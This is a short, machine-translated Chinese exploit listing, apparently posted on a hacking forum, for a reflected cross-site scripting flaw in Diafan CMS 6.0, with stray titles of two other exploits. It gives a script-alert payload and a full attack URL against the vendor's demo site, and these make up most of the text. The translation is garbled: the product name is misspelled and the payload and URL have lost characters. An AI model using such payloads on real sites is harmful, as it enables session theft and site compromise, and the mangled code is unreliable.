Diufan CMS 6.0-反射的跨站点脚本（XSS）

[HackApt-37 Team已验证会员]

＃利用标题: Diafan CMS 6.0-反映的跨站点脚本（XSS）
＃利用作者: tmrswrr/hulya karag
＃供应商homepage3360 https://www.diafancms.com/
＃版本: 6.0
＃测试在: https://demo.diafancms.com
Description:
1）https://demo.diafancms.com/转到主页并在搜索中写下有效载荷在“商品文章”字段中:
有效载荷:'scriptalert（document.domain）％2fscript
2）之后您会看到警报按钮:

https://demo.diafancms.com/shop/?module=shopaction=searchcat_id=0a=0a=％22%3E%3CScript%3EALERT%281%29%29%3C%2FScript%3Epr1=0pr2=0

 

H

Symantec Siteminder Webagent V12.52-跨站点脚本（XSS）

H

JobPiLot v2.61 -SQL注射